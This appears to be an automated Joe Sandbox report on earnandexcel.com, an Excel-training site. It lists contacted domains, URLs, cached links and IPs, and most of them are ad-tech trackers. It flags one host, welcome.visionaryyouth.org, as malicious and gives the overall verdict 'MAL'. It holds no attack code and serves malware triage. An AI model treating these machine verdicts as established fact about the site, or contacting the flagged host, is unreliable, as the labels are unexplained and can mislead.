global.ib-ibi.com	69.169.85.6	true	false	unknown
outspot2-ams.adx.opera.com	82.145.213.8	true	false	high
match.adsby.bidtheatre.com	64.227.64.62	true	false	unknown
feed.pghub.io	34.102.243.38	true	false	unknown
ssbsync-usw1.smartadserver.com	23.83.76.52	true	false	high
matching.truffle.bid	162.55.120.196	true	false	unknown
vimeo-video.map.fastly.net	199.232.38.109	true	false	unknown
eu-u.openx.net	34.98.64.218	true	false	high
httplb-gce-va-clickdistrict.clickdistrict.iponweb.net	35.212.23.78	true	false	unknown
prebid-s2s.media.net	34.107.148.139	true	false	high
csm.us5.vip.prod.criteo.net	74.119.117.24	true	false	high
na-ice.360yield.com	3.215.216.188	true	false	high
pug-vac.pubmnet.com	8.28.7.83	true	false	unknown
ds-pr-bh.ybp.gysm.yahoodns.net	44.199.126.93	true	false	unknown
sync.1rx.io	69.194.240.13	true	false	high
idaas-ext.cph.liveintent.com	54.85.176.124	true	false	high
gcdn.2mdn.net	142.250.80.110	true	false	high
pdmp.dcapi.tagger.opecloud.com	50.16.98.63	true	false	unknown
cdn-content.ampproject.org	142.250.65.161	true	false	high
star-mini.c10r.facebook.com	157.240.241.35	true	false	high
gum.us5.vip.prod.criteo.com	74.119.117.17	true	false	high
us-u.openx.net	35.244.159.8	true	false	high
nydc1.outbrain.org	64.202.112.191	true	false	unknown
securepubads46.g.doubleclick.net	142.251.35.162	true	false	high
us.creativecdn.com	185.184.10.30	true	false	high
pool-use-gce-sc.reims.iponweb.net	35.211.118.13	true	false	unknown
d1jvc9b8z3vcjs.cloudfront.net	18.164.99.9	true	false	high
sid.storygize.net	143.244.208.184	true	false	unknown
prod.pinterest.global.map.fastly.net	151.101.64.84	true	false	unknown
dmp.brand-display.com	34.160.19.107	true	false	unknown
prod.appnexus.map.fastly.net	151.101.193.108	true	false	unknown
sb.scorecardresearch.com	18.164.96.18	true	false	unknown
user-data-us-east.bidswitch.net	35.211.178.172	true	false	unknown
s0.2mdn.net	142.250.176.198	true	false	high
pixel-origin.mathtag.com	216.200.232.249	true	false	high
track.wickedreports.com	107.21.11.116	true	false	high
htlb.casalemedia.com	104.18.36.155	true	false	high
cs.iqzone.com	8.2.111.13	true	false	high
usersync.gumgum.com	52.207.45.55	true	false	high
cs.digbearings.com	3.219.53.60	true	false	unknown
ps.eyeota.net	52.55.144.0	true	false	high
d1tcwf12y4kqv3.cloudfront.net	18.238.49.52	true	false	high
gcp.api.sc-gw.com	35.190.43.134	true	false	unknown
jslink.zapto.org	0.0.0.0	true	false	unknown
sync2.resetdigital.co	51.222.105.60	true	false	unknown
import.cdn.thinkific.com	104.18.35.159	true	false	high
cdn.thinkific.com	172.64.152.97	true	false	high
dm-us.hybrid.ai	37.18.24.16	true	false	unknown
lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com	44.205.174.187	true	false	high
exchange.mediavine.com	3.211.252.87	true	false	high
adserver.technoratimedia.com	150.136.25.38	true	false	unknown
lexicon.33across.com	35.244.193.51	true	false	high
cookiematch-us-east-1.prod.justpremium.com	44.199.149.225	true	false	high
pmp.mxptint.net	38.68.201.140	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://earnandexcel.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/v4-shims.min.css	false	Avira URL Cloud: safe	unknown
https://eus.rubiconproject.com/usync.html?p=33across&endpoint=us-east&us_privacy=1---	false		high
https://s.company-target.com/s/tlx?redir=https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D8804%26xuid%3D%7Bxuid%7D%26dongle%3D6aix	false	Avira URL Cloud: safe	unknown
https://to.getnitropack.com/ping/unalive/1712870848613ailcu0lkaxh	false	Avira URL Cloud: safe	unknown
https://ads.scorecardresearch.com/p?c1=9&c2=13554685&c3=2&rn=1712870891&cs_xi=333ff547-5277-49f2-ad2b-d1a54c54e28a	false	Avira URL Cloud: safe	unknown
https://earnandexcel.com/wp-includes/js/wp-util.min.js	false	Avira URL Cloud: safe	unknown
https://ps.eyeota.net/match/bounce/?gdpr=0&gdpr_consent=&bid=1mpr7m0&r=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F123%2F3%2F7.gif%3Fpuid%3D%7BUUID%7D%26gdpr%3D0%26gdpr_consent%3D	false		high
https://sync.srv.stackadapt.com/sync?nid=1&gdpr=&gdpr_consent=	false		high
https://event.hgrtb.com/sync/triplelift?redir=https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D7666%26xuid%3Dmfuid%26dongle%3D8f7	false	Avira URL Cloud: safe	unknown
about:blank	false	Avira URL Cloud: safe	low
https://earnandexcel.com/wp-content/uploads/Excel-VBA-2-2-480x304.jpg	false	Avira URL Cloud: safe	unknown
https://sync.intentiq.com/profiles_engine/ProfilesEngineServlet?at=20&dpi=1709765917&mi=10&csh=793790479&rnd=104120937&pcid=4283912458326592098	false	Avira URL Cloud: safe	unknown
https://aorta.clickagy.com/pixel.gif?ch=4&cm=8acb4486-446f-4e18-8c4b-25513f8cf6d9&redir=https%3A%2F%2Fus-u.openx.net%2Fw%2F1.0%2Fsd%3Fid%3D537073026%26val%3D%7Bvisitor_id%7D	false		high
https://ce.lijit.com/merge?pid=27&3pid=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&gdpr=0&gdpr_consent=	false		high
https://s.amazon-adsystem.com/v3/pr?exlist=gg_an-db5&fv=1.0&a=cm&cm3ppd=1&dmt=3&gdpr=0	false		high
https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partner_device_id=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=f873d799-987f-45f5-8689-9e999756dca0%2C%2C%257B%2522architecture%2522%253A%2522x86%2522%252C%2522bitness%2522%253A%252264%2522%252C%2522brands%2522%253A%255B%257B%2522brand%2522%253A%2522Google%2BChrome%2522%252C%2522version%2522%253A%2522117%2522%257D%252C%257B%2522brand%2522%253A%2522Not%253BA%253DBrand%2522%252C%2522version%2522%253A%25228%2522%257D%252C%257B%2522brand%2522%253A%2522Chromium%2522%252C%2522version%2522%253A%2522117%2522%257D%255D%252C%2522fullVersionList%2522%253A%255B%257B%2522brand%2522%253A%2522Google%2BChrome%2522%252C%2522version%2522%253A%2522117.0.5938.149%2522%257D%252C%257B%2522brand%2522%253A%2522Not%253BA%253DBrand%2522%252C%2522version%2522%253A%25228.0.0.0%2522%257D%252C%257B%2522brand%2522%253A%2522Chromium%2522%252C%2522version%2522%253A%2522117.0.5938.149%2522%257D%255D%252C%2522mobile%2522%253Afalse%252C%2522model%2522%253A%2522%2522%252C%2522platform%2522%253A%2522Windows%2522%252C%2522platformVersion%2522%253A%252210.0.0%2522%257D	false		high
https://analytics.google.com/g/collect?v=2&tid=G-8Y0K4MPJV5&gtm=45je44a0v884867978z8835174253za200&_p=1712870798210&_gaz=1&gcd=13l3l3l3l1&npa=0&dma=0&cid=668614997.1712870801&ul=en-us&sr=1280x1024&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&are=1&pae=1&pscdl=noapi&_s=1&sid=1712870807&sct=1&seg=0&dl=https%3A%2F%2Fearnandexcel.com%2F&dt=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&en=page_view&_fv=1&_ss=1&tfd=14247	false		high
https://earnandexcel.com/wp-content/uploads/PowerPivot-1-480x304.jpg	false	Avira URL Cloud: safe	unknown
https://import.cdn.thinkific.com/121573/LLYgB4OSQfOGHjjx3Y5O_Logo%20Pic%20G.png?width=384&dpr=1	false		high
https://sync.1rx.io/usersync2/rubicon	false		high
https://s.company-target.com/s/eqx?sspurl=https%3A%2F%2Frtb-csync.smartadserver.com%2Fredir%2F%3Fissi%3D1%26partnerid%3D152%26partneruserid%3DPARTNER_USER_ID&gdpr=0&gdpr_consent=	false	Avira URL Cloud: safe	unknown
https://earnandexcel.com/wp-content/plugins/tutor-lms-elementor-addons/assets/js/tutor-elementor.js	false	Avira URL Cloud: safe	unknown
https://sync.ipredictive.com/d/sync/cookie/generic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=${ADELPHIC_CUID}&gdpr=0&gdpr_consent=	false	URL Reputation: safe	unknown
https://eb2.3lift.com/xuid?mid=2319&xuid=0-b894bcc3-3b2f-50d3-402d-2b181c031c60$ip$156.146.36.197&dongle=4430	false		high
https://id.rlcdn.com/709996.gif	false		high
https://us-u.openx.net/w/1.0/sd?id=537072979&val=SFkS50Wi1RV1WO5	false		high
https://earnandexcel.com/wp-content/plugins/link-whisper-premium/js/frontend.js	false	Avira URL Cloud: safe	unknown
https://ce.lijit.com/merge?pid=71&3pid=25F9549E-136A-47E9-9171-DA44C0E0D5E3	false		high
https://eb2.3lift.com/xuid?mid=7666&xuid=6d1c5c62-9401-4138-8326-6be8415be266&dongle=8f7	false		high
https://match.adsrvr.org/track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=f873d799-987f-45f5-8689-9e999756dca0%252C%252C&gdpr=0&gdpr_consent=	false		high
https://cdn.ampproject.org/rtv/022404020207000/v0/amp-form-0.1.mjs	false		high
https://earnandexcel.com/course-category/accounting/?tutor-course-filter-category=16698	false	Avira URL Cloud: safe	unknown
https://earnandexcel.com/wp-includes/js/tinymce/plugins/compat3x/plugin.min.js	false	Avira URL Cloud: safe	unknown
https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPUc07649b3c185472a86453f2ba9a61d55	false		high
https://sync.1rx.io/usersync2/pubmatic&gdpr=0&gdpr_consent=	false		high
https://eb2.3lift.com/xuid?mid=2662&xuid=y-GTqI1jRE2oSK4VVSAukC0tyLGOETcVa5g57GjeMzQg--~A&dongle=0883	false		high
https://eb2.3lift.com/xuid?mid=4771&xuid=7275991910677607931&dongle=d407&gdpr=0&gdpr_consent=	false		high
https://eb2.3lift.com/xuid?mid=3702&xuid=d3c52a71-4626-42f8-b765-7c4caff9dd34&dongle=d54f&gdpr=0&gdpr_consent=	false		high
https://pixel-sync.sitescout.com/dmp/pixelSync?nid=1	false		high
https://bh.contextweb.com/bh/sync/3lift?rurl=https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D2636%26xuid%3D%25%25VGUID%25%25%26dongle%3D8bee%26gdpr=0%26gdpr_consent=	false		high
https://oa.openxcdn.net/esp.js	false	Avira URL Cloud: safe	unknown
https://eb2.3lift.com/xuid?gdpr=0&mid=5316&dongle=fa68&xuid=8mm0VvFq5A_pa7MM9T2oW6A5tVfpb7Zdpz2lu-pj	false		high
https://match.adsrvr.org/track/cmf/generic?ttd_pid=adconductor&ttd_tpi=1&rndcb=2353003526	false		high
https://ib.adnxs.com/getuid?https%3A%2F%2Fsync.intentiq.com%2Fprofiles_engine%2FProfilesEngineServlet%3Fat%3D20%26dpi%3D1709765917%26mi%3D10%26csh%3D793790479%26rnd%3D104120937&pcid=$UID	false		high
https://eb2.3lift.com/xuid?mid=2711&xuid=8d73be0a-2d5a-47ea-8080-ce4174558daf&dongle=013b&gdpr=0&gdpr_consent=&us_privacy=1---&gpp=${GPP_STRING_28}	false		high
https://us-u.openx.net/w/1.0/sd?id=537073059&val=Q7661572291818641876P	false		high
https://cm.g.doubleclick.net/pixel?google_nid=epsilon&google_cm	false		high
https://bh.contextweb.com/bh/rtset?pid=560687&ev=1&rurl=https%3A%2F%2Fpixel.rubiconproject.com%2Ftap.php%3Fv%3D390200%26nid%3D5120%26put%3D%25%25VGUID%25%25	false		high
https://earnandexcel.com/wp-includes/js/shortcode.min.js	false	Avira URL Cloud: safe	unknown
https://exchange.mediavine.com/usersync/redirect?partner=yieldmo&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=VcFrT9hNNrhKI_SoFwed&gdpr=&gdpr_consent=&us_privacy=1---	false		high
https://io.narrative.io/?companyId=673&id=pubmatic_id:25F9549E-136A-47E9-9171-DA44C0E0D5E3	false		high
https://cdn.thinkific.com/assets/toga-css/1.1.13/fonts/toga-icons.woff2?868a651e2bef4d0ff689085fd1480378	false		high
https://pandg.tapad.com/tag?gdpr=0&us_privacy=1---&referrer_url=&page_url=https%3A%2F%2Fearnandexcel.com%2F&owner=P%26G&bp_id=mediavine&ch=%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22brands%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117%22%7D%5D%2C%22fullVersionList%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117.0.5938.149%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228.0.0.0%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117.0.5938.149%22%7D%5D%2C%22mobile%22%3Afalse%2C%22model%22%3A%22%22%2C%22platform%22%3A%22Windows%22%2C%22platformVersion%22%3A%2210.0.0%22%7D&initiator=js&data=%7B%22category%22%3A%22Hobbies%20%26%20Interests%22%2C%22subcategory%22%3A%22Hobbies%20%26%20Interests%22%2C%22liveramp_idl%22%3Anull%7D	false		high
https://earnandexcel.com/wp-content/plugins/elementor/assets/js/preloaded-modules.min.js	false	Avira URL Cloud: safe	unknown
https://pdmp.dcapi.tagger.opecloud.com/web/visit?fpid=206267d9-9ab6-4813-85fd-6fa35eafc3ec	false	Avira URL Cloud: safe	unknown
https://earnandexcel.com/wp-content/plugins/elementor/assets/js/frontend.min.js	false	Avira URL Cloud: safe	unknown
https://client-rapi-mediavine.recombee.com/mediavine-prod/recomms/users/fc09ead0-b52e-43d4-b0cf-67a3b0dd234d/items/?frontend_timestamp=1712870820&frontend_sign=128e542a00131568b6cd8e63446b01a96c6a2411	false	Avira URL Cloud: safe	unknown
https://t.adx.opera.com/pub/sync?pubid=pub10014056052800&gdpr=0&gdpr_consent=	false		high
https://f.vimeocdn.com/p/4.29.4/css/player.css	false		high
https://earnandexcel.com/wp-content/plugins/tutor-lms-elementor-addons/assets/css/slick-theme.css	false	Avira URL Cloud: safe	unknown
https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=73563629&p=156212&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=	false		high
https://rtb.adentifi.com/CookieSyncTripleLift?gdpr=0&gdpr_consent=	false	Avira URL Cloud: safe	unknown
https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent=	false		high
https://sync.ipredictive.com/d/sync/cookie/generic?https://eb2.3lift.com/xuid?mid=3702&xuid=${ADELPHIC_CUID}&dongle=d54f&gdpr=0&gdpr_consent=	false	URL Reputation: safe	unknown
https://hb.yahoo.net/cksync.php?cs=1&type=58160&ovsid=LUVR2A3B-N-5ZEP	false		high
https://server.cpmstar.com/usersync.aspx?bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=&gdpr_consent=&us_privacy=&redirect=https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D440%26ssp%3Dopenx%26user_id%3D%24UID	false		high
https://ap.lijit.com/www/sovrn_beacon_standalone/sovrn_standalone_beacon.js?iid=12343702	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://earnandexcel.com/wp-content/uploads/Coca-Cola.png'><img	chromecache_1018.1.dr, chromecache_577.1.dr, chromecache_760.1.dr	false	Avira URL Cloud: safe	unknown
https://earnandexcel.com/course-category/career/	chromecache_590.1.dr, chromecache_475.1.dr	false	Avira URL Cloud: safe	unknown
https://px.owneriq.net/epm?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwN	chromecache_750.1.dr, chromecache_942.1.dr	false		high
http://www.smartmenus.org/	chromecache_637.1.dr	false		high
https://unified.adsafeprotected.com/vevent/complete/1942311/79588500?gdpr=0&gdpr_consent=&gdpr_pd=&x	chromecache_602.1.dr, chromecache_757.1.dr	false		high
https://ampcid.google.com/v1/publisher:getClientId	chromecache_545.1.dr, chromecache_661.1.dr	false		high
https://earnandexcel.com/wp-content/uploads/elementor/css/post-27949.css	chromecache_760.1.dr	false	Avira URL Cloud: safe	unknown
https://googleads.g.doubleclick.net/xbbe/pixel?d=CNq02qIFEPqxo-MFGL2U1YUCIAEwAQ&v=APEucNXGN9IgK4PRn7	chromecache_952.1.dr	false		high
https://secure-assets.rubiconproject.com/utils/xapi/multi-sync.html?p=17888&endpoint=us-east	chromecache_727.1.dr	false		high
https://earnandexcel.com/courses/google-ads/	chromecache_475.1.dr	false	Avira URL Cloud: safe	unknown
https://earnandexcel.com/profile/tayyabs?view=student	chromecache_590.1.dr	false	Avira URL Cloud: safe	unknown
https://earnandexcel.com/wp-json/wp/v2/pages/706	chromecache_708.1.dr	false	Avira URL Cloud: safe	unknown
https://unified.adsafeprotected.com/vevent/firstQuartile/1942311/79588500?gdpr=0&gdpr_consent=&gdpr_	chromecache_602.1.dr, chromecache_757.1.dr	false		high
https://earnandexcel.com/blog/how-to-clear-data-validation-in-excel-a-comprehensive-guide/	chromecache_817.1.dr, chromecache_982.1.dr, chromecache_708.1.dr	false	Avira URL Cloud: safe	unknown
https://gcdn.2mdn.net/videoplayback/id/865babfaa2230e09/itag/18/source/web_video_ads/ctier/L/acao/ye	chromecache_602.1.dr, chromecache_757.1.dr	false		high
https://earnandexcel.com/wp-content/themes/edumall/assets/libs/perfect-scrollbar/css/custom-theme.cs	chromecache_476.1.dr, chromecache_1018.1.dr, chromecache_577.1.dr, chromecache_760.1.dr, chromecache_971.1.dr, chromecache_998.1.dr, chromecache_708.1.dr, chromecache_590.1.dr, chromecache_475.1.dr	false	Avira URL Cloud: safe	unknown
https://earnandexcel.com/blog/how-to-add-a-comma-to-every-cell-in-excel-simplifying-data-presentatio	chromecache_817.1.dr, chromecache_982.1.dr	false	Avira URL Cloud: safe	unknown
https://exchange.mediavine.com/usersync/redirect?partner=gumgum&uuid=3a6574e0-f84a-11ee-a9d1-333cefc	chromecache_735.1.dr	false		high
http://bugs.jquery.com/ticket/11820	chromecache_970.1.dr	false		high
https://earnandexcel.com/blog/how-to-find-the-p-value-in-excel-understanding-p-value/	chromecache_708.1.dr	false	Avira URL Cloud: safe	unknown
https://pubads.g.doubleclick.net/adsid/integrator.json?aos=	chromecache_767.1.dr	false		high
https://pixel.tapad.com/idsync/ex/receive?partner_id=3203&partner_device_id=25F9549E-136A-47E9-9171-	chromecache_713.1.dr, chromecache_942.1.dr	false		high
https://earnandexcel.com/power-pivot-course/	chromecache_476.1.dr, chromecache_1018.1.dr, chromecache_577.1.dr, chromecache_760.1.dr, chromecache_971.1.dr, chromecache_998.1.dr, chromecache_708.1.dr, chromecache_590.1.dr, chromecache_475.1.dr	false	Avira URL Cloud: safe	unknown
https://earnandexcel.com/xmlrpc.php?rsd	chromecache_476.1.dr, chromecache_1018.1.dr, chromecache_577.1.dr, chromecache_760.1.dr, chromecache_971.1.dr, chromecache_998.1.dr, chromecache_708.1.dr, chromecache_590.1.dr, chromecache_475.1.dr	false	Avira URL Cloud: safe	unknown
https://earnandexcel.com/the-analyst-program/	chromecache_476.1.dr, chromecache_1018.1.dr, chromecache_577.1.dr, chromecache_760.1.dr, chromecache_971.1.dr, chromecache_998.1.dr, chromecache_708.1.dr, chromecache_590.1.dr, chromecache_475.1.dr	false	Avira URL Cloud: safe	unknown
https://earnandexcel.com/wp-content/uploads/How-to-Create-a-Rotating-Schedule-in-Excel.png	chromecache_817.1.dr, chromecache_982.1.dr	false	Avira URL Cloud: safe	unknown
https://earnandexcel.com/courses/power-bi/	chromecache_475.1.dr	false	Avira URL Cloud: safe	unknown
https://earnandexcel.com/#website	chromecache_475.1.dr	false	Avira URL Cloud: safe	unknown
https://googleads.g.doubleclick.net/xbbe/pixel?d=CNq02qIFEPqxo-MFGL2U1YUCIAEwAQ&v=APEucNWorLXLTmYNFK	chromecache_877.1.dr	false		high
https://earnandexcel.com/machine-learning-course/	chromecache_476.1.dr, chromecache_1018.1.dr, chromecache_577.1.dr, chromecache_760.1.dr, chromecache_971.1.dr, chromecache_998.1.dr, chromecache_708.1.dr, chromecache_590.1.dr, chromecache_475.1.dr	false	Avira URL Cloud: safe	unknown
https://earnandexcel.com/course-category/microsoft-excel/?tutor-course-filter-category=16702	chromecache_475.1.dr	false	Avira URL Cloud: safe	unknown
https://earnandexcel.thrivecart.com/excel-tools-and-templates-course-us/	chromecache_760.1.dr	false		high
https://github.com/google/safevalues/issues	chromecache_1048.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.253.62.154	stats.g.doubleclick.net	United States	15169	GOOGLEUS	false
147.75.198.144	ny5-prebid.a-mx.net	Switzerland	54825	PACKETUS	false
151.101.0.84	unknown	United States	54113	FASTLYUS	false
3.215.216.188	na-ice.360yield.com	United States	14618	AMAZON-AESUS	false
3.219.53.60	cs.digbearings.com	United States	14618	AMAZON-AESUS	false
104.18.24.173	unknown	United States	13335	CLOUDFLARENETUS	false
44.193.52.224	unknown	United States	14618	AMAZON-AESUS	false
35.236.220.17	um.simpli.fi	United States	15169	GOOGLEUS	false
142.250.80.2	unknown	United States	15169	GOOGLEUS	false
68.67.179.153	unknown	United States	29990	ASN-APPNEXUS	false
142.250.80.4	unknown	United States	15169	GOOGLEUS	false
35.71.131.137	match.adsrvr.org	United States	237	MERIT-AS-14US	false
68.67.160.137	ib.anycast.adnxs.com	United States	29990	ASN-APPNEXUS	false
195.244.31.10	visitor-usa02.omnitagjs.com	France	63140	IGUANA-WORLDWIDEUS	false
155.204.117.12	openrtb-dc11.axonix.com	Netherlands	8698	NationwideBuildingSocietyGB	false
54.86.59.69	exchange.journeymv.com	United States	14618	AMAZON-AESUS	false
69.90.254.78	openx-ums.acuityplatform.com	Canada	13768	COGECO-PEER1CA	false
35.211.118.13	pool-use-gce-sc.reims.iponweb.net	United States	19527	GOOGLE-2US	false
18.214.197.65	unknown	United States	14618	AMAZON-AESUS	false
23.83.76.52	ssbsync-usw1.smartadserver.com	United States	395954	LEASEWEB-USA-LAX-11US	false
107.178.254.65	pippio.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
52.203.194.106	io.narrative.io	United States	14618	AMAZON-AESUS	false
18.205.145.170	aorta.clickagy.com	United States	14618	AMAZON-AESUS	false
18.238.55.87	d20qwf0wrdtevy.cloudfront.net	United States	16509	AMAZON-02US	false
104.18.35.159	import.cdn.thinkific.com	United States	13335	CLOUDFLARENETUS	false
23.83.76.57	rtb-csync-usw1.smartadserver.com	United States	395954	LEASEWEB-USA-LAX-11US	false
151.101.192.84	unknown	United States	54113	FASTLYUS	false
69.169.85.6	global.ib-ibi.com	United States	29838	AMCUS	false
172.253.62.157	bid.g.doubleclick.net	United States	15169	GOOGLEUS	false
18.213.14.175	unknown	United States	14618	AMAZON-AESUS	false
142.251.35.161	unknown	United States	15169	GOOGLEUS	false
23.21.169.14	unknown	United States	14618	AMAZON-AESUS	false
18.214.198.116	unknown	United States	14618	AMAZON-AESUS	false
18.238.49.52	d1tcwf12y4kqv3.cloudfront.net	United States	16509	AMAZON-02US	false
38.98.69.175	oxp.mxptint.net	United States	174	COGENT-174US	false
52.20.228.194	unknown	United States	14618	AMAZON-AESUS	false
35.162.61.240	unknown	United States	16509	AMAZON-02US	false
13.226.34.110	d3tuxsry9bjjlg.cloudfront.net	United States	16509	AMAZON-02US	false
18.206.144.25	rtb.adentifi.com	United States	14618	AMAZON-AESUS	false
34.200.65.202	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud	United States	14618	AMAZON-AESUS	false
3.231.195.77	unknown	United States	14618	AMAZON-AESUS	false
35.186.154.107	cm-supply-web.gammaplatform.com	United States	15169	GOOGLEUS	false
34.234.6.154	ssky-vop-tracking-1576957348.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
37.18.24.16	dm-us.hybrid.ai	Netherlands	60557	RFNC-VNIIEFRU	false
35.190.43.134	gcp.api.sc-gw.com	United States	15169	GOOGLEUS	false
54.209.155.255	unknown	United States	14618	AMAZON-AESUS	false
52.71.183.211	thrtle.com	United States	14618	AMAZON-AESUS	false
216.22.16.57	unknown	United States	30633	LEASEWEB-USA-WDCUS	false
34.102.163.6	ad.mrtnsvr.com	United States	15169	GOOGLEUS	false
35.171.114.112	unknown	United States	14618	AMAZON-AESUS	false
143.244.208.184	sid.storygize.net	United States	174	COGENT-174US	false
13.226.34.126	unknown	United States	16509	AMAZON-02US	false
211.120.53.205	tg.dr.socdm.com	Japan	4694	IDCFIDCFrontierIncJP	false
52.205.175.16	deadlinefunnel-prod-449602290.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
142.251.35.162	securepubads46.g.doubleclick.net	United States	15169	GOOGLEUS	false
34.102.243.38	feed.pghub.io	United States	15169	GOOGLEUS	false
52.207.45.55	usersync.gumgum.com	United States	14618	AMAZON-AESUS	false
151.101.193.108	prod.appnexus.map.fastly.net	United States	54113	FASTLYUS	false
35.207.24.140	dorpat.geo.iponweb.net	United States	19527	GOOGLE-2US	false
108.139.47.46	unknown	United States	16509	AMAZON-02US	false
157.240.241.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
45.137.176.88	sync.adotmob.com	Spain	60350	VPFR	false
107.21.11.116	track.wickedreports.com	United States	14618	AMAZON-AESUS	false
172.64.197.28	some.growplow.events	United States	13335	CLOUDFLARENETUS	false
8.18.47.7	unknown	United States	32662	GMCRUS	false
108.139.47.105	sync1.intentiq.com	United States	16509	AMAZON-02US	false
162.19.138.83	id5-sync.com	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
70.42.32.127	unknown	United States	22075	AS-OUTBRAINUS	false
18.164.99.9	d1jvc9b8z3vcjs.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
54.197.158.229	unknown	United States	14618	AMAZON-AESUS	false
52.70.223.132	unknown	United States	14618	AMAZON-AESUS	false
68.67.160.186	unknown	United States	29990	ASN-APPNEXUS	false
192.96.203.13	sync.aralego.com	United States	30633	LEASEWEB-USA-WDCUS	false
40.76.134.238	us01.z.antigena.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.72.102	ad.doubleclick.net	United States	15169	GOOGLEUS	false
34.96.71.22	s.dsp-prod.demandbase.com	United States	15169	GOOGLEUS	false
207.65.37.179	gob-pairb-nje1.pubmnet.com	United States	6203	ISDN-NETUS	false
23.105.12.137	unknown	United States	30633	LEASEWEB-USA-WDCUS	false
52.94.220.185	aax-eu.amazon-adsystem.com	United States	16509	AMAZON-02US	false
104.18.36.155	htlb.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
52.7.152.165	io-cookie-sync-1725936127.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
207.65.37.182	spug-nje1pb.pubmnet.com	United States	6203	ISDN-NETUS	false
142.251.40.100	unknown	United States	15169	GOOGLEUS	false
3.233.167.98	unknown	United States	14618	AMAZON-AESUS	false
147.45.47.87	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
172.67.164.44	sda.fyi	United States	13335	CLOUDFLARENETUS	false
34.120.135.53	oajs.openx.net	United States	15169	GOOGLEUS	false
216.219.92.22	inv-nets.admixer.net	United States	19318	IS-AS-1US	false
74.119.117.4	static.us5.vip.prod.criteo.net	United States	19750	AS-CRITEOUS	false
3.227.173.151	unknown	United States	14618	AMAZON-AESUS	false
172.240.155.100	sync.colossusssp.com	United States	7979	SERVERS-COMUS	false
34.117.239.71	events-ssc.33across.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
82.145.213.8	outspot2-ams.adx.opera.com	United Kingdom	39832	NO-OPERANO	false
88.119.175.92	welcome.visionaryyouth.org	Lithuania	61272	IST-ASLT	true
108.138.115.149	d1ykf07e75w7ss.cloudfront.net	United States	16509	AMAZON-02US	false
18.164.96.18	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
68.67.161.208	unknown	United States	29990	ASN-APPNEXUS	false
172.64.151.101	ssum-sec.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
54.208.143.66	unknown	United States	14618	AMAZON-AESUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1424708
Start date and time:	2024-04-11 23:26:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	http://earnandexcel.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
